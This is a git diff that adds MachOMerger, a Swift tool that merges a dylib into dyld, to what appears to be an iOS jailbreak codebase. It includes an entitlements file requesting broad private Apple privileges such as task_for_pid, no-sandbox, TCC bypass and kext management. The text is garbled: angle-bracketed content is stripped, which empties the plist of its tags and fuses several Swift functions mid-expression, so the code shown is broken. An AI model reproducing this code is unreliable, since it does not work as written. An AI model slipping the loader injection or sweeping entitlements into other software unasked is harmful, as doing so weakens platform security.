watchdoghook/watchdoghook.dylib forkfix/forkfix.dylib diff --git a/BaseBin/ChOma b/BaseBin/ChOma index eaba8fc5b2..b1a4f2debf 160000 --- a/BaseBin/ChOma +++ b/BaseBin/ChOma @@ -1 +1 @@ -Subproject commit eaba8fc5b271c4b4758102b253d7659a9d864df9 +Subproject commit b1a4f2debf2aff70edc2825c5cfbd05926d7fc18 diff --git a/BaseBin/MachOMerger/.gitignore b/BaseBin/MachOMerger/.gitignore new file mode 100644 index 0000000000..c182223666 --- /dev/null +++ b/BaseBin/MachOMerger/.gitignore @@ -0,0 +1,11 @@ +.DS_Store +/.build +/Packages +/*.xcodeproj +xcuserdata/ +DerivedData/ +.swiftpm/config/registries.json +.swiftpm/xcode/package.xcworkspace/contents.xcworkspacedata +.netrc +/MachOMerger +/.swiftpm diff --git a/BaseBin/MachOMerger/MachOMerger.entitlements b/BaseBin/MachOMerger/MachOMerger.entitlements new file mode 100644 index 0000000000..001afc68be --- /dev/null +++ b/BaseBin/MachOMerger/MachOMerger.entitlements @@ -0,0 +1,78 @@ + + + + + com.apple.security.get-task-allow + + get-task-allow + + platform-application + + task_for_pid-allow + + run-unsigned-code + + proc_info-allow + + com.apple.private.persona-mgmt + + com.apple.private.tcc.allow + + kTCCServiceSystemPolicyAllFiles + + com.apple.private.security.no-container + + com.apple.private.security.storage-exempt.heritable + + com.apple.private.security.storage.AppBundles + + com.apple.private.security.no-sandbox + + com.apple.springboard.CFUserNotification + + com.apple.springboard.launchapplications + + com.apple.security.network.client + + com.apple.system-task-ports.control + + com.apple.system-task-ports.token.control + + com.apple.private.mobileinstall.allowedSPI + + InstallForLaunchServices + Install + UninstallForLaunchServices + Uninstall + UpdatePlaceholderMetadata + + com.apple.private.spawn-driver + + com.apple.developer.driverkit + + com.apple.developer.driverkit.transport.pci + + com.apple.developer.driverkit.builtin + + com.apple.developer.driverkit.transport.pci.offloadEngineDisable + + com.apple.private.security.kext-collection-management + + com.apple.private.security.kext-management + + com.apple.private.security.syspolicy.kext-management + + com.apple.private.bindfs-allow + + com.apple.private.security.disk-device-access + + com.apple.private.apfs.xart + + com.apple.private.security.system-async-io + + com.apple.security.iokit-user-client-class + + AppleAPFSUserClient + + + diff --git a/BaseBin/MachOMerger/Makefile b/BaseBin/MachOMerger/Makefile new file mode 100644 index 0000000000..065d36ba9d --- /dev/null +++ b/BaseBin/MachOMerger/Makefile @@ -0,0 +1,38 @@ +MACOS ?= 0 + +ifeq ($(MACOS), 1) +ENTITLEMENTS_ARG= +SDK=macosx +TARGET=arm64-apple-macos11.0 +else +ENTITLEMENTS_ARG=--entitlements MachOMerger.entitlements +SDK=iphoneos +TARGET=arm64-apple-ios14.0 +endif + +SDK_PATH=$(shell xcrun --sdk $(SDK) --show-sdk-path) + +CONFIG=debug + +SWIFTC_ARGS=-sdk "$(SDK_PATH)" -target $(TARGET) -O -framework IOKit -framework CoreServices -D__DARWIN_OPAQUE_ARM_THREAD_STATE64 +SWIFT_BUILD_ARGS=--triple $(TARGET) --sdk "$(SDK_PATH)" -c $(CONFIG) -Xcc "-DIOS_BUILD" -Xcc -Wno-incompatible-sysroot $(addprefix -Xswiftc ,$(SWIFTC_ARGS)) + +all: MachOMerger + +.PHONY: all build_clean clean + +MachOMerger: .build/$(CONFIG)/MachOMerger FORCE + @cp .build/$(CONFIG)/MachOMerger MachOMerger + codesign -s - -f $(ENTITLEMENTS_ARG) MachOMerger + +.build/$(CONFIG)/%: Sources/% FORCE + @echo Building MachOMerger + swift build $(SWIFT_BUILD_ARGS) + +build_clean: + rm -rf .build + +clean: build_clean + rm -f MachOMerger + +FORCE: ; diff --git a/BaseBin/MachOMerger/Package.resolved b/BaseBin/MachOMerger/Package.resolved new file mode 100644 index 0000000000..df80967c7f --- /dev/null +++ b/BaseBin/MachOMerger/Package.resolved @@ -0,0 +1,32 @@ +{ + "pins" : [ + { + "identity" : "patchfinderutils", + "kind" : "remoteSourceControl", + "location" : "https://github.com/pinauten/PatchfinderUtils", + "state" : { + "branch" : "master", + "revision" : "83647509e12001e8f42b2a5dc46b40977e12098b" + } + }, + { + "identity" : "swiftmacho", + "kind" : "remoteSourceControl", + "location" : "https://github.com/pinauten/SwiftMachO", + "state" : { + "branch" : "master", + "revision" : "cbfb1886c14bfb28c54034b43e49807ab7c17f11" + } + }, + { + "identity" : "swiftutils", + "kind" : "remoteSourceControl", + "location" : "https://github.com/pinauten/SwiftUtils", + "state" : { + "branch" : "master", + "revision" : "1d37faabb4c58b3152394c9b6e1c1a68507646b9" + } + } + ], + "version" : 2 +} diff --git a/BaseBin/MachOMerger/Package.swift b/BaseBin/MachOMerger/Package.swift new file mode 100644 index 0000000000..21b83c58fc --- /dev/null +++ b/BaseBin/MachOMerger/Package.swift @@ -0,0 +1,31 @@ +// swift-tools-version: 5.7 +// The swift-tools-version declares the minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "MachOMerger", + platforms: [ + .iOS(.v14), + .macOS(.v11) + ], + products: [ + // Products define the executables and libraries a package produces, and make them visible to other packages. + .executable( + name: "MachOMerger", + targets: ["MachOMerger"]), + ], + dependencies: [ + // Dependencies declare other packages that this package depends on. + .package(url: "https://github.com/pinauten/SwiftUtils", branch: "master"), + .package(url: "https://github.com/pinauten/SwiftMachO", branch: "master"), + .package(url: "https://github.com/pinauten/PatchfinderUtils", branch: "master") + ], + targets: [ + // Targets are the basic building blocks of a package. A target can define a module or a test suite. + // Targets can depend on other targets in this package, and on products in packages this package depends on. + .executableTarget( + name: "MachOMerger", + dependencies: ["SwiftUtils", "SwiftMachO", "PatchfinderUtils"]), + ] +) diff --git a/BaseBin/MachOMerger/README.md b/BaseBin/MachOMerger/README.md new file mode 100644 index 0000000000..ea5306360e --- /dev/null +++ b/BaseBin/MachOMerger/README.md @@ -0,0 +1,6 @@ +# MachOMerger + +Merge two MachO binaries into one. The only supported use case at this moment is merging a dylib into dyld. + +# Requirements +- The dylib to be injected *must* be compiled with `-Xlinker -add_split_seg_info -Xlinker -no_auth_data` diff --git a/BaseBin/MachOMerger/Sources/MachOMerger/ChainedFixups.swift b/BaseBin/MachOMerger/Sources/MachOMerger/ChainedFixups.swift new file mode 100644 index 0000000000..8ec0f98b18 --- /dev/null +++ b/BaseBin/MachOMerger/Sources/MachOMerger/ChainedFixups.swift @@ -0,0 +1,309 @@ +// +// ChainedFixups.swift +// MachOMerger +// +// Created by Linus Henze. +// + +import Foundation +import SwiftMachO +import MachO + +func mergeChainedFixups(infoA: MachOMergeData, infoB: MachOMergeData, relocInfo: RelocInfo, machOA: MachO, machOB: MachO) -> Data { + guard let cfA = infoA.chainedFixups else { + print("No chained fixups! [A]") + exit(-1) + } + + let versionA = cfA.getGeneric(type: UInt32.self, offset: 0) + guard versionA == 0 else { + print("Can only support version 0 chained fixups! [A]") + exit(-1) + } + + let startsOffA = cfA.getGeneric(type: UInt32.self, offset: 4) + //let importsOffA = cfA.getGeneric(type: UInt32.self, offset: 8) + //let symsOffA = cfA.getGeneric(type: UInt32.self, offset: 12) + let importsCountA = cfA.getGeneric(type: UInt32.self, offset: 16) + let importsFormatA = cfA.getGeneric(type: UInt32.self, offset: 20) + let symsFormatA = cfA.getGeneric(type: UInt32.self, offset: 24) + guard symsFormatA == 0 else { + print("Can only support symbol format 0 for chained fixups!") + exit(-1) + } + + guard let cfB = infoB.chainedFixups else { + print("No chained fixups! [B]") + exit(-1) + } + + let versionB = cfB.getGeneric(type: UInt32.self, offset: 0) + guard versionB == 0 else { + print("Can only support version 0 chained fixups! [A]") + exit(-1) + } + + let startsOffB = cfB.getGeneric(type: UInt32.self, offset: 4) + //let importsOffB = cfB.getGeneric(type: UInt32.self, offset: 8) + //let symsOffB = cfB.getGeneric(type: UInt32.self, offset: 12) + let importsCountB = cfB.getGeneric(type: UInt32.self, offset: 16) + let importsFormatB = cfB.getGeneric(type: UInt32.self, offset: 20) + let symsFormatB = cfB.getGeneric(type: UInt32.self, offset: 24) + guard symsFormatB == 0 else { + print("Can only support symbol format 0 for chained fixups!") + exit(-1) + } + + guard importsFormatA == importsFormatB else { + print("Chained fixups imports format must be the same for both binaries!") + exit(-1) + } + + // For our limited usecase, assume these binaries imports nothing + /*guard importsCountA == 0 && importsCountB == 0 else { + print("XXX: Can only support zero imports right now!") + exit(-1) + }*/ + + // If there are any imports, resolve them now + guard importsCountA == 0 else { + print("XXX: Can only support zero imports for A right now!") + exit(-1) + } + + if importsCountB != 0 { + // Need to walk chain + let cf = try! b.getChainedFixups() + let symTable = try! a.getSymbolTable() + try! cf.forEachFixup({ location, vAddr, content in + if case .authBind(ordinal: _, diversity: let diversity, addrDiv: let addrDiv, key: let key, next: let next) = content { + let segment = relocInfo.segment(forOrigAddress: location, isB: true)! + let off = Int(segment.3) + var data = segment.1 + let dat = data.getGeneric(type: UInt64.self, offset: UInt(segment.3)) + guard dat == content.rawValue else { + print("XXX: ChainedFixups .authBind err!") + exit(-1) + } + + guard let sym = cf.symbol(forFixup: content) else { + print("Couldn't find symbol in imports table!") + exit(-1) + } + + var isB = false + var dst: UInt64! + if let d = getMagicSymbolVal(sym) { + dst = d.0 + isB = d.1 + } else if let d = symTable.symbol(forName: sym) { + dst = d.value + } + + guard dst != nil else { + print("Cannot resolve symbol \(sym)!") + exit(-1) + } + + let new = ChainedFixups.ChainedStartsInSegment.ChainTarget.authRebase(target: UInt32(relocInfo.translate(address: dst, isB: isB)), diversity: diversity, addrDiv: addrDiv, key: key, next: next) + data = data.subdata(in: 0.. (UInt64, Bool)? { + switch sym { + case "_MACHOMERGER_REAL_START": + guard let ths = dataA.unixthread else { + print("Cannot get real start: A has no unixthread") + exit(-1) + } + + guard ths.count == 1 else { + print("More than one UnixThread?!") + exit(-1) + } + + let th = ths[0] + guard th.flavor == ARM_THREAD_STATE64 && th.state.count == MemoryLayout.size else { + print("Can only support ARM64 threads!") + exit(-1) + } + + let thA64 = th.state.getGeneric(type: arm_thread_state64_t.self) + return (thA64.__pc, false) + + default: + return nil + } +} diff --git a/BaseBin/MachOMerger/Sources/MachOMerger/MiscCmds.swift b/BaseBin/MachOMerger/Sources/MachOMerger/MiscCmds.swift new file mode 100644 index 0000000000..7ddc9ddbc3 --- /dev/null +++ b/BaseBin/MachOMerger/Sources/MachOMerger/MiscCmds.swift @@ -0,0 +1,15 @@ +// +// MiscCmds.swift +// MachOMerger +// +// Created by Linus Henze on 2023-03-16. +// + +import Foundation +import MachO + +func emitUUIDCmd() -> (Int, Data) { + let cmd = uuid_command(cmd: UInt32(LC_UUID), cmdsize: UInt32(MemoryLayout.size), uuid: UUID().uuid) + + return (1, Data(fromObject: cmd)) +} diff --git a/BaseBin/MachOMerger/Sources/MachOMerger/RelocInfo.swift b/BaseBin/MachOMerger/Sources/MachOMerger/RelocInfo.swift new file mode 100644 index 0000000000..6c338f8114 --- /dev/null +++ b/BaseBin/MachOMerger/Sources/MachOMerger/RelocInfo.swift @@ -0,0 +1,217 @@ +// +// RelocInfo.swift +// MachOMerger +// +// Created by Linus Henze on 2023-03-15. +// + +import Foundation +import SwiftMachO + +class RelocInfo { + public private(set) var segRel: SegRelocInfo + + init(segRel: SegRelocInfo) { + self.segRel = segRel + } + + public func segment(forOrigAddress addr: UInt64, isB: Bool) -> (String, Data, UInt64, UInt64)? { + for seg in segRel { + if !isB { + let s = seg.1[0] + guard !s.isB else { continue } + + let base = s.origCommand.vmAddr + if addr >= base { + if addr < (base + s.origCommand.vmSize) { + return (seg.0, s.data, s.offset, addr - base) + } + } + } else { + let s = (seg.1.count == 2) ? seg.1[1] : seg.1[0] + guard s.isB else { continue } + + let base = s.origCommand.vmAddr + if addr >= base { + if addr < (base + s.origCommand.vmSize) { + return (seg.0, s.data, s.offset, addr - base) + } + } + } + } + + return nil + } + + public func segment(forName name: String, isB: Bool) -> (Data, UInt64)? { + for seg in segRel { + guard seg.0 == name else { continue } + + if !isB { + let s = seg.1[0] + guard !s.isB else { + return nil + } + + return (s.data, s.offset) + } else { + let s = (seg.1.count == 2) ? seg.1[1] : seg.1[0] + guard s.isB else { + return nil + } + + return (s.data, s.offset) + } + } + + return nil + } + + public func segment(forIndex index: Int, isB: Bool) -> (Segment64LoadCommand, Data, UInt64) { + var currentIndex = 0 + for seg in segRel { + if !isB { + let s = seg.1[0] + guard !s.isB else { continue } + + if currentIndex == index { + return (s.origCommand, s.data, s.offset) + } + + currentIndex += 1 + } else { + let s = (seg.1.count == 2) ? seg.1[1] : seg.1[0] + guard s.isB else { continue } + + if currentIndex == index { + return (s.origCommand, s.data, s.offset) + } + + currentIndex += 1 + } + } + + print("Invalid segment index \(index)") + exit(-1) + } + + public func replaceSegment(name: String, isB: Bool, data: Data) { + for i in 0.. (Data, UInt64, UInt64)? { + if forIndex == 0 { + // mach header + // Should point to the new one + if !isB { + return (Data(), segRel[0].1[0].origCommand.vmAddr, 0) + } else { + return (Data(), segRel[0].1[1].origCommand.vmAddr, 0) + } + } + + var currentIndex = 1 + for seg in segRel { + var s: (isB: Bool, origCommand: Segment64LoadCommand, data: Data, offset: UInt64)! + if !isB { + s = seg.1[0] + guard !s.isB else { + continue + } + } else { + s = (seg.1.count == 2) ? seg.1[1] : seg.1[0] + guard s.isB else { + continue + } + } + + for sect in s!.origCommand.sections { + if currentIndex == forIndex { + // This is what we want + let off = Int(sect.address) - Int(s!.origCommand.vmAddr) + let size = Int(sect.size) + let data = s!.data.subdata(in: off..<(off + size)) + + return (data, sect.address, sect.address &+ s!.offset) + } + + currentIndex += 1 + } + } + + return nil + } + + public func replaceSection(forIndex: Int, isB: Bool, data: Data) { + guard forIndex != 0 else { + print("Cannot replace mach header!") + exit(-1) + } + + var currentIndex = 1 + for i in 0.. UInt64 { + address + segment(forOrigAddress: address, isB: isB)!.2 + } +} diff --git a/BaseBin/MachOMerger/Sources/MachOMerger/SegmentLoadCommand.swift b/BaseBin/MachOMerger/Sources/MachOMerger/SegmentLoadCommand.swift new file mode 100644 index 0000000000..f66cdbdebb --- /dev/null +++ b/BaseBin/MachOMerger/Sources/MachOMerger/SegmentLoadCommand.swift @@ -0,0 +1,120 @@ +// +// SegmentLoadCommand.swift +// MachOMerger +// +// Created by Linus Henze on 2023-03-16. +// + +import Foundation +import MachO + +func generateSegmentLoadCommands(infoA: MachOMergeData, infoB: MachOMergeData, relocInfo: RelocInfo) -> (Int, Data) { + var result = Data() + for i in 0.. 1 { + sects += seg.1[1].origCommand.sections.count + } + + var slc = segment_command_64() + slc.cmd = UInt32(LC_SEGMENT_64) + slc.cmdsize = UInt32(MemoryLayout.size + (MemoryLayout.size * sects)) + _ = withUnsafeMutableBytes(of: &slc.segname) { ptr in + strcpy(ptr.baseAddress!, seg.0) + } + + if i == 0 { + slc.vmaddr = 0 + if seg.1.count == 1 { + slc.vmsize = seg.1[0].origCommand.vmSize + 0x4000 + slc.filesize = seg.1[0].origCommand.fileSize + 0x4000 + } else { + slc.vmsize = seg.1[0].origCommand.vmSize + seg.1[1].origCommand.vmSize + 0x4000 + slc.filesize = seg.1[0].origCommand.fileSize + seg.1[1].origCommand.fileSize + 0x4000 + } + + slc.fileoff = 0 + slc.maxprot = VM_PROT_READ | VM_PROT_EXECUTE + slc.initprot = VM_PROT_READ | VM_PROT_EXECUTE + } else { + slc.vmaddr = base + if seg.1.count == 1 { + slc.vmsize = seg.1[0].origCommand.vmSize + slc.filesize = seg.1[0].origCommand.fileSize + } else { + slc.vmsize = seg.1[0].origCommand.vmSize + seg.1[1].origCommand.vmSize + slc.filesize = seg.1[0].origCommand.fileSize + seg.1[1].origCommand.fileSize + } + + slc.fileoff = seg.1[0].origCommand.fileOffset + seg.1[0].offset + slc.maxprot = Int32(bitPattern: seg.1[0].origCommand.maximumProt.rawValue) + slc.initprot = Int32(bitPattern: seg.1[0].origCommand.protection.rawValue) + } + + slc.nsects = UInt32(sects) + slc.flags = seg.1[0].origCommand.flags + + var sectsData = Data() + for sect in seg.1[0].origCommand.sections { + var sectLC = section_64() + _ = withUnsafeMutableBytes(of: §LC.sectname) { ptr in + strcpy(ptr.baseAddress!, sect.section) + } + _ = withUnsafeMutableBytes(of: §LC.segname) { ptr in + strcpy(ptr.baseAddress!, seg.0) + } + + sectLC.addr = sect.address + seg.1[0].offset + sectLC.size = sect.size + sectLC.offset = sect.offset + UInt32(seg.1[0].offset) + sectLC.align = sect.alignment + sectLC.flags = sect.flags.rawValue + sectLC.reserved1 = sect.reserved1 + sectLC.reserved2 = sect.reserved2 + sectLC.reserved3 = sect.reserved3 + + sectsData.appendGeneric(value: sectLC) + } + + if seg.1.count > 1 { + for sect in seg.1[1].origCommand.sections { + var sectLC = section_64() + _ = withUnsafeMutableBytes(of: §LC.sectname) { ptr in + if sect.section != "__jbinfo" { + // Special case, "__DATA:__jbinfo" section should not be appended with "_2" + // Ideally I would have added a check here to only add _2 if the section already exists in file a + // But then again this is Swift + strcpy(ptr.baseAddress!, sect.section + "_2") + } + else { + strcpy(ptr.baseAddress!, sect.section) + } + } + _ = withUnsafeMutableBytes(of: §LC.segname) { ptr in + strcpy(ptr.baseAddress!, seg.0) + } + + sectLC.addr = sect.address + seg.1[1].offset + sectLC.size = sect.size + sectLC.offset = sect.offset + UInt32(seg.1[1].offset) + sectLC.align = sect.alignment + sectLC.flags = sect.flags.rawValue + sectLC.reserved1 = sect.reserved1 + sectLC.reserved2 = sect.reserved2 + sectLC.reserved3 = sect.reserved3 + + sectsData.appendGeneric(value: sectLC) + } + } + + result.appendGeneric(value: slc) + result.append(sectsData) + } + + return (relocInfo.segRel.count, result) +} diff --git a/BaseBin/MachOMerger/Sources/MachOMerger/SegmentSplitInfo.swift b/BaseBin/MachOMerger/Sources/MachOMerger/SegmentSplitInfo.swift new file mode 100644 index 0000000000..133fa24a18 --- /dev/null +++ b/BaseBin/MachOMerger/Sources/MachOMerger/SegmentSplitInfo.swift @@ -0,0 +1,227 @@ +// +// SegmentSplitInfo.swift +// MachOMerger +// +// Created by Linus Henze on 2023-03-15. +// + +import Foundation +import PatchfinderUtils +import SwiftMachO +import MachO + +func pStr(_ p: UInt64) -> String { + String(format: "%p", p) +} + +func ssiFixAdrp(adrp: UInt32, at: UInt64, to: UInt64) -> UInt32 { + guard (adrp & 0x9F000000) == 0x90000000 else { + // Not an adrp - Warn but don't touch + print("WARNING: ssiFixAdrp: Encountered non-adrp instruction at \(at) - Leaving as-is") + return adrp + } + + let atPage = (at & ~0xFFF) >> 12 + let toPage = (to & ~0xFFF) >> 12 + let pageDistance = Int64(bitPattern: toPage &- atPage) + guard pageDistance < 0x200000 && pageDistance > -0x200000 else { + print("ssiFixAdrp: Cannot fixup adrp: Distance too large!") + exit(-1) + } + + let instruction = (adrp & 0x9F00001F) | UInt32((pageDistance & 0x1FFFFC) << 3) | UInt32((pageDistance & 0x3) << 29) + + guard AArch64Instr.Emulate.adrp(instruction, pc: at) == (to & ~0xFFF) else { + print("ssiFixAdrp: Generated wrong adrp!") + exit(-1) + } + + return instruction +} + +func ssiFixOff12(instr: UInt32, at: UInt64, to: UInt64, toOld: UInt64) -> UInt32 { + guard (to & 0xFFF) == (toOld & 0xFFF) else { + print("ssiFixOff12: Not implemented!") + exit(-1) + } + + // As long as the lowest 12 bits stay the same, there is nothing to do + return instr +} + +func ssiFixBr26(instr: UInt32, at: UInt64, atOld: UInt64, to: UInt64, toOld: UInt64) -> UInt32 { + let delta = Int64(bitPattern: to &- at) + let deltaSh = delta >> 2 + guard deltaSh <= 0x3FFFFFF && deltaSh >= -0x3FFFFFF else { + print("ssiFixBr26: Delta too large!") + exit(-1) + } + + let new = (instr & 0xFC000000) | UInt32(deltaSh & 0x03FFFFFF) + if delta == Int64(bitPattern: toOld &- atOld) { + guard instr == new else { + print("ssiFixBr26: Instruction generation bug!") + exit(-1) + } + } + + return new +} + +func ssiFixImgOff32(val: UInt32, at: UInt64, to: UInt64) -> UInt32 { + // This should simply point to the new address + guard to <= UInt32.max else { + print("ssiFixImgOff32: Cannot fixup: Distance too large!") + exit(-1) + } + + return UInt32(to) +} + +func ssiFixThP64(val: UInt64, at: UInt64, to: UInt64) -> UInt64 { + let cf = ChainedFixups.ChainedStartsInSegment.ChainTarget(rawValue: val, bindsAre24Bit: false) + + switch cf { + case .authRebase(target: _, diversity: let diversity, addrDiv: let addrDiv, key: let key, next: let next): + guard to <= UInt32.max else { + print("ssiFixThP64: Cannot fixup: Distance too large! [authRebase]") + exit(-1) + } + + return ChainedFixups.ChainedStartsInSegment.ChainTarget.authRebase(target: UInt32(to), diversity: diversity, addrDiv: addrDiv, key: key, next: next).rawValue + + case .authBind(ordinal: _, diversity: _, addrDiv: _, key: _, next: _): + print("ssiFixThP64: authBind shouldn't exist!") + exit(-1) + + case .rebase(target: _, high8: let high8, next: let next): + guard to <= 0x7FFFFFFFFFF else { + print("ssiFixThP64: Cannot fixup: Distance too large! [rebase]") + exit(-1) + } + + return ChainedFixups.ChainedStartsInSegment.ChainTarget.rebase(target: to, high8: high8, next: next).rawValue + + case .bind(ordinal: _, addend: _, next: _): + print("ssiFixThP64: bind shouldn't exist!") + exit(-1) + } +} + +func processSplitInfo(_ reader: ULEB128Reader, relocInfo: RelocInfo, isB: Bool) { + let version = reader.read() + guard version == 0x7F else { + print("Only DYLD_CACHE_ADJ_V2_FORMAT is supported!") + exit(-1) + } + + let sectionCount = reader.read() + for _ in 0.. \(pStr(toAddr)) [orig: \(pStr(fromAddrOld)) -> \(pStr(toAddrOld))]") + + switch kind { + case 2: + let loc = fromSection.getGeneric(type: UInt32.self, offset: UInt(fromSectionOffset)) + let new = loc + UInt32(toAddr - toAddrOld) + fromSection = fromSection[0.. ([nlist_64]) { + let syms = info.symtab?.symbols + return (syms?.withUnsafeBytes({ ptr in + [nlist_64](ptr.assumingMemoryBound(to: nlist_64.self)) + }))! +} + +func fixup(symbols: [nlist_64], start: Int, count: Int, strOff: Int, relocInfo: RelocInfo, isB: Bool) -> Data { + var syms = Data() + let end = start + count + for i in start.. (Int, Data) { + let symsA = extractSymbols(info: infoA) + let symsB = extractSymbols(info: infoB) + + let dsymA = infoA.dysymtab! + let dsymB = infoB.dysymtab! + guard dsymA.localCount + dsymA.externalCount + dsymA.undefCount == symsA.count else { + print("DSYMTAB is wrong! [A]") + exit(-1) + } + + guard dsymB.localCount + dsymB.externalCount + dsymB.undefCount == symsB.count else { + print("DSYMTAB is wrong! [B]") + exit(-1) + } + + // Generate the new one + var syms = Data() + syms += fixup(symbols: symsA, start: dsymA.localStart, count: dsymA.localCount, strOff: 0, relocInfo: relocInfo, isB: false) + syms += fixup(symbols: symsB, start: dsymB.localStart, count: dsymB.localCount, strOff: infoA.symtab!.strings.count, relocInfo: relocInfo, isB: true) + + let eSymsOff = syms.count / MemoryLayout.size + syms += fixup(symbols: symsA, start: dsymA.externalStart, count: dsymA.externalCount, strOff: 0, relocInfo: relocInfo, isB: false) + syms += fixup(symbols: symsB, start: dsymB.externalStart, count: dsymB.externalCount, strOff: infoA.symtab!.strings.count, relocInfo: relocInfo, isB: true) + + let uSymsOff = syms.count / MemoryLayout.size + syms += fixup(symbols: symsA, start: dsymA.undefStart, count: dsymA.undefCount, strOff: 0, relocInfo: relocInfo, isB: false) + syms += fixup(symbols: symsB, start: dsymB.undefStart, count: dsymB.undefCount, strOff: infoA.symtab!.strings.count, relocInfo: relocInfo, isB: true) + + let symtabOff = linkeditStart + linkedit.count + linkedit += syms + + let strtabOff = linkeditStart + linkedit.count + linkedit += infoA.symtab!.strings + infoB.symtab!.strings + + var symtab = symtab_command() + symtab.cmd = UInt32(LC_SYMTAB) + symtab.cmdsize = UInt32(MemoryLayout.size) + symtab.symoff = UInt32(symtabOff) + symtab.nsyms = UInt32(symsA.count + symsB.count) + symtab.stroff = UInt32(strtabOff) + symtab.strsize = UInt32(infoA.symtab!.strings.count + infoB.symtab!.strings.count) + + var dysym = dysymtab_command() + dysym.cmd = UInt32(LC_DYSYMTAB) + dysym.cmdsize = UInt32(MemoryLayout.size) + dysym.ilocalsym = 0 + dysym.nlocalsym = UInt32(dsymA.localCount + dsymB.localCount) + dysym.iextdefsym = UInt32(eSymsOff) + dysym.nextdefsym = UInt32(dsymA.externalCount + dsymB.externalCount) + dysym.iundefsym = UInt32(uSymsOff) + dysym.nundefsym = UInt32(dsymA.undefCount + dsymB.undefCount) + + return (2, Data(fromObject: symtab) + Data(fromObject: dysym)) +} diff --git a/BaseBin/MachOMerger/Sources/MachOMerger/ULEB128Reader.swift b/BaseBin/MachOMerger/Sources/MachOMerger/ULEB128Reader.swift new file mode 100644 index 0000000000..e08eb33c69 --- /dev/null +++ b/BaseBin/MachOMerger/Sources/MachOMerger/ULEB128Reader.swift @@ -0,0 +1,42 @@ +// +// ULEB128Reader.swift +// MachOMerger +// +// Created by Linus Henze on 2023-03-15. +// + +import Foundation + +class ULEB128Reader { + private let data: Data + private var pos: Int = 0 + + init(data: Data) { + self.data = data + } + + func read() -> UInt64 { + var result: UInt64 = 0 + var shift = 0 + while true { + let dec = data[pos] + pos += 1 + + let tmp = UInt64(dec & 0x7F) + let val = tmp << shift + if (val >> shift) != tmp { + // Overflow + print("ULEB128Reader: Overflow") + exit(-1) + } + + shift += 7 + + result |= val + + if (dec >> 7) == 0 { + return result + } + } + } +} diff --git a/BaseBin/MachOMerger/Sources/MachOMerger/UnixThread.swift b/BaseBin/MachOMerger/Sources/MachOMerger/UnixThread.swift new file mode 100644 index 0000000000..bbb679e5df --- /dev/null +++ b/BaseBin/MachOMerger/Sources/MachOMerger/UnixThread.swift @@ -0,0 +1,41 @@ +// +// UnixThread.swift +// MachOMerger +// +// Created by Linus Henze on 2023-03-16. +// + +import Foundation +import MachO + +func emitUnixthread(info: MachOMergeData, relocInfo: RelocInfo, isB: Bool) -> (Int, Data) { + let ths = info.unixthread! + guard ths.count == 1 else { + print("More than one UnixThread?!") + exit(-1) + } + + let th = ths[0] + guard th.flavor == ARM_THREAD_STATE64 && th.state.count == MemoryLayout.size else { + print("Can only support ARM64 threads!") + exit(-1) + } + + var thA64 = th.state.getGeneric(type: arm_thread_state64_t.self) + + thA64.__pc = relocInfo.translate(address: thA64.__pc, isB: isB) + if let st = try? b.getSymbolTable() { + if let newStart = st.symbol(forName: "_MACHOMERGER_START_HOOK") { + thA64.__pc = relocInfo.translate(address: newStart.value, isB: true) + } + } + + var result = Data() + result.appendGeneric(value: UInt32(LC_UNIXTHREAD)) + result.appendGeneric(value: UInt32(16 + MemoryLayout.size)) + result.appendGeneric(value: UInt32(ARM_THREAD_STATE64)) + result.appendGeneric(value: UInt32(MemoryLayout.size / 4)) + result.appendGeneric(value: thA64) + + return (1, result) +} diff --git a/BaseBin/MachOMerger/Sources/MachOMerger/main.swift b/BaseBin/MachOMerger/Sources/MachOMerger/main.swift new file mode 100644 index 0000000000..68a705f03a --- /dev/null +++ b/BaseBin/MachOMerger/Sources/MachOMerger/main.swift @@ -0,0 +1,529 @@ +// +// main.swift +// MachOMerger +// +// Created by Linus Henze. +// + +import Foundation +import SwiftMachO +import MachO + +typealias SegRelocInfo = [(String, [(isB: Bool, origCommand: Segment64LoadCommand, data: Data, offset: UInt64)])] + +let pageSize: UInt64 = 0x4000 +let pageMaskOff: UInt64 = pageSize - 1 +let pageMask: UInt64 = ~pageMaskOff + +guard CommandLine.arguments.count == 4 else { + print("Usage: MachOMerger ") + exit(-1) +} + +let a = try MachO(fromFile: CommandLine.arguments[1], okToLoadFAT: false) +let b = try MachO(fromFile: CommandLine.arguments[2], okToLoadFAT: false) + +var newMachO = Data() + +struct MachOMergeData { + var segments: [(Segment64LoadCommand, Data)] = [] + var linkedit: Data? + var dylibs: [String] = [] + var chainedFixups: Data? + var unixthread: [(flavor: UInt32, state: Data)]? + var exportsTrie: Data? + var symtab: (symbols: Data, strings: Data)? + var dysymtab: (localStart: Int, localCount: Int, externalStart: Int, externalCount: Int, undefStart: Int, undefCount: Int, indirect: Data)? + var splitInfo: Data? + var functionStarts: Data? + var dataInCode: Data? + var otherCommands: [LoadCommand] = [] +} + +func collectData(fromMachO machO: MachO) -> MachOMergeData { + // Iterate over all load commands + var result = MachOMergeData() + for cmd in machO.cmds { + if let seg = cmd as? Segment64LoadCommand { + let start = Int(seg.fileOffset) + let end = start + Int(seg.fileSize) + guard let data = machO.data.trySubdata(in: start.. Data { + if size == 0 { + return Data() + } + + guard let res = data.trySubdata(in: off..<(off + size)) else { + print("extract: Failed to get data!") + exit(-1) + } + + return res + } + + func machOExtract(_ off: Int, _ size: Int) -> Data { + extract(machO.data, off, size) + } + + func getLECmdData(_ cmd: LoadCommand, name: String) -> Data { + guard let cmdRaw = cmd as? OpaqueLoadCommand else { + print("XXX: Not compatible with this version of SwiftMachO!") + exit(-1) + } + + guard let off = cmdRaw.data.tryGetGeneric(type: UInt32.self, offset: 0) else { + print("\(name): Couldn't get offset!") + exit(-1) + } + + guard let size = cmdRaw.data.tryGetGeneric(type: UInt32.self, offset: 4) else { + print("\(name): Couldn't get size!") + exit(-1) + } + + return machOExtract(Int(off), Int(size)) + } + + for cmd in machO.cmds { + let cmdNum = cmd.type.rawValue + if cmdNum == LC_SEGMENT_64 { + // Already parsed + } else if let chainLC = cmd as? ChainedFixupsLoadCommand { + result.chainedFixups = machOExtract(Int(chainLC.fixupOffset), Int(chainLC.fixupSize)) + } else if cmdNum == LC_DYLD_EXPORTS_TRIE { + result.exportsTrie = getLECmdData(cmd, name: "LC_DYLD_EXPORTS_TRIE") + } else if let symtab = cmd as? SymTabLoadCommand { + let dataSym = machOExtract(Int(symtab.symOff), 16 * Int(symtab.symCount)) + let dataStr = machOExtract(Int(symtab.strOff), Int(symtab.strSize)) + + result.symtab = (symbols: dataSym, strings: 